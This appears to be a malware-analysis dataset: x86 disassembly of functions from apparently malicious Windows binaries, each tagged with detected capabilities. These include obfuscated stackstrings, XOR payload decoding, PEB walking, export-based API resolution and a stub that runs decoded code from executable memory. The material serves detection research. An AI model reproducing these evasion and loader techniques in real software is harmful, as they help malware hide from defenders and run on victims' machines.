joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42bc40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x6f
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x17], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x28]
push 0x32
push edx
call eax
lea eax, [esp + 0x28]
push 0x426a74
push eax
call fcn.0042df1c
add esp, 8
test eax, eax
je 0x42bd33
push eax
push 0x426a28
push 0x43ec78
call dword [fcn.00429ffc]
add esp, 0xc
mov eax, 0x43ec78
add esp, 0x5c
ret

Function at 0x42bd40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x5c
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x6f
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x17], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x69
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x28]
push 0x32
push edx
call eax
lea eax, [esp + 0x28]
push eax
push 0x426a78
push 0x43ec28
call dword [fcn.00429ffc]
mov eax, 0x43ec28
add esp, 0x68
ret
Function at 0x42be30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x58
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x32
push edx
call eax
lea eax, [esp + 0x24]
push eax
push 0x426a78
push 0x43ebd8
call dword [fcn.00429ffc]
mov eax, 0x43ebd8
add esp, 0x64
ret
Function at 0x42c620
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x140
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x20], al
push esi
mov byte [esp + 9], cl
mov byte [esp + 0xe], cl
mov byte [esp + 0xf], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1f], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 8]
mov dl, 0x64
push eax
push ecx
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], dl
mov byte [esp + 0x1c], 0
mov byte [esp + 0x20], 0x47
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x4d
mov byte [esp + 0x24], 0x6f
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2d], 0x4e
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x31], 0x41
mov byte [esp + 0x32], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x14c]
lea edx, [esp + 0x30]
push 0x118
push edx
push ecx
mov dword [esp + 0x38], 0
call eax
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x44]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42c720
pop edi
xor eax, eax
pop esi
add esp, 0x140
ret
push 2
push 0
push 0xffffc400
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x3c00
call fcn.00436a7e
add esp, 4
mov edi, eax
lea eax, [esp + 0x2c]
push 0
push eax
push 0x3c00
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x150]
push 0
push 0x3c00
push ecx
push edi
call fcn.0042c5c0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42c78b
push edi
call fcn.00436aa7
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x140
ret
add eax, edi
pop edi
pop esi
add esp, 0x140
ret

Function at 0x42c7a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push ebx
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov al, 1
jne 0x42c7b7
mov al, bl
pop ebx
ret
Function at 0x42d2c0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.0042d150
add esp, 8
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
xor ecx, ecx
test edx, edx
jle 0x42d311
push ebx
add byte [ecx + eax], 0x7a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov bl, byte [ecx + eax]
xor bl, 0x19
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edx
jl 0x42d2f3
pop ebx
pop ecx
ret

Function at 0x42d4a0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov cl, 0x12
mov dl, byte [eax + 0x4012e0]
xor dl, cl
mov byte [eax + 0x4012e0], dl
inc eax
cmp eax, 0x23e00
jl 0x42d4a4
xor eax, eax
ret

Function at 0x42d4c0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
call fcn.0042d4a0
mov eax, dword [esp + 0xc]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42d4ea
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x23e00
push 0x4012e0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x42d508
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x42d520
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42d545
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x1932
push 0x4250e0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x42d563
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret
Function at 0x40d063bb
Capabilities:
Encode data using xor

Disassembly:
call 0x40d06334
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x40d06364
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x40d06380
xor edx, 0
jmp 0x40d0638b
xor edx, edx
jmp 0x40d063a2
jmp 0x40d063ae
xor eax, eax
push 0x8427d7c0
call 0x40d063bb
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40d063f7
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40d063d0
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x40d0640e
add eax, 0
jno 0x40d06413
add esi, 0
ret 0x10

Function at 0x40d0717c
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x40d0719e
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x40d07340
cmp edi, dword [ebp + 0x10]
jb 0x40d07340
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.40d06c68
inc edi
jmp 0x40d07227
jmp 0x40d07234
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40d06c68
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.40d06c68
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x40d07288
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x40d0726c
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.40d072b6
add dword [eax], 0x39
jle 0x40d07292
sub al, 0xf5
mov ch, al
call fcn.40d072cb
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x40d08fa3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x40d08fb9
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x40d08fca
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.40d0900b
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x40d0b377
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x40d0b2c0
add ebx, 0
push ecx
call 0x40d0b2d5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x713b9041
sub ebx, dword [0x713d8880]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x713d8870
call fcn.40d06d9f
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.40d062ad
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x40d0b433
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x40d0b433
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x40d0b3ea
mov eax, 1
lock xchg dword [0x713d887c], eax
push 0x3dd1fc71
call 0x40d0b377
push esi
add esp, 8
cmp eax, 0
jne 0x40d0b360
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x40d0b386
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x40d0b39b
cmp ecx, edx
cmp eax, 0
je 0x40d0b3c0
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x40d0b3aa
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.40d0b3d9
dec eax
loope 0x40d0b3dc
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x713d887c], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x40d0b410
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x40d0b425
jmp 0x40d0b430
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x40d0b31e
Function at 0x40d12498
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x40d1276e
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x713c54f4
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x713bc4ba
push 0xffffffffffffffff
call fcn.40d09698
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x40d12502
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.40d1251a
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x40d12762
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x40d12736
Function at 0x40d21f68
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x40d21f8a
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x40d21f8a
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x40d21f8a
ret
cmp word [ebx + 4], 0x14c
jne 0x40d21f8a
test word [ebx + 0x16], 2
je 0x40d21f8a
test word [ebx + 0x16], 0x100
je 0x40d21f8a
cmp word [ebx + 0x18], 0x10b
jne 0x40d21f8a
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x40d21f8a
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x40d22016
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x40d21faa
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40d08ef5
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x40d21f8a
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x40d22016
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x40d21f8a
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x40d21f8a
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x40d21f8a
ret
cmp word [ebx + 4], 0x14c
jne 0x40d21f8a
test word [ebx + 0x16], 2
je 0x40d21f8a
test word [ebx + 0x16], 0x100
je 0x40d21f8a
cmp word [ebx + 0x18], 0x10b
jne 0x40d21f8a
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x40d21f8a
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x40d22016
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x40d21faa
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40d08ef5
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x40d21f8a
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x40d220cd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x40d22126
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x40d220cd
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x40d220dc
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x41127d7f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x40d2212d
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.40d08fa3
cmp eax, dword [ebp + 0xc]
pop eax
je 0x40d221cc
add edi, 4
add eax, 2
dec ecx
jne 0x40d22112
call 0x40d22179
loope 0x40d2216f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x40d221c9
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x40d221da
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x40d2218d
cmp eax, ecx
ja 0x40d2218d
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x40d22217
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x40d2220d
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.40d09482
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40d220dc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x40d22126
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x40d220cd
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x40d220dc
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x41127d7f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x40d2212d
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.40d08fa3
cmp eax, dword [ebp + 0xc]
pop eax
je 0x40d221cc
add edi, 4
add eax, 2
dec ecx
jne 0x40d22112
call 0x40d22179
loope 0x40d2216f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x40d221c9
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x40d221da
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x40d2218d
cmp eax, ecx
ja 0x40d2218d
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x40d22217
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x40d2220d
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.40d09482
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40325b
pop dword [ebp - 0x10]
mov eax, 0x5cc43297
add eax, 0xa37bffc4
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xeed1bbd7
sub dword [ebp - 0x20], 0xa07f768c
mov dword [ebp - 0x1c], 0x89780c85
sub dword [ebp - 0x1c], 0x5744c040
mov dword [ebp - 0x18], 0x1e2ee897
add dword [ebp - 0x18], 0x2e1d5b97
mov dword [ebp - 0x14], 0xc1b36146
add dword [ebp - 0x14], 0x3e4c9eba
lea eax, [ebp - 0x20]
push eax
mov eax, 0xeeacb8b9
add eax, 0x1193c7bf
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6b981053
sub dword [ebp - 0x20], 0xf725a6fd
mov dword [ebp - 0x1c], 0x2ce9ee8b
sub dword [ebp - 0x1c], 0xeb7d8d16
mov dword [ebp - 0x18], 0x399e2271
add dword [ebp - 0x18], 0x29d149fb
mov dword [ebp - 0x14], 0xc65558fb
add dword [ebp - 0x14], 0x39aaa705
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x91c7f83f
add eax, 0x6e78883d
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x36c30
push 0
call eax
mov ecx, 0x46ec
mov edx, eax
mov edi, 0xa595a406
sub edi, 0xa5509006
add edi, dword [ebp - 0x10]
mov esi, 0x4a51d65c
add esi, 0xdbcad119
xor dword [ebp - 4], eax
mov ebx, dword [edi]
add dword [ebp - 0xc], ebx
add ebx, esi
add dword [ebp - 0xc], 0xfd4787f3
mov dword [edx], ebx
sub dword [ebp - 0xc], 0xc15b154e
add edx, 0x4c64780a
add edx, 0xb39b87fa
add edi, 0xc5dbf747
add edi, 0x3a2408bd
loop 0x403377
add eax, 0x9dd1501e
add eax, 0x622fbe65
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret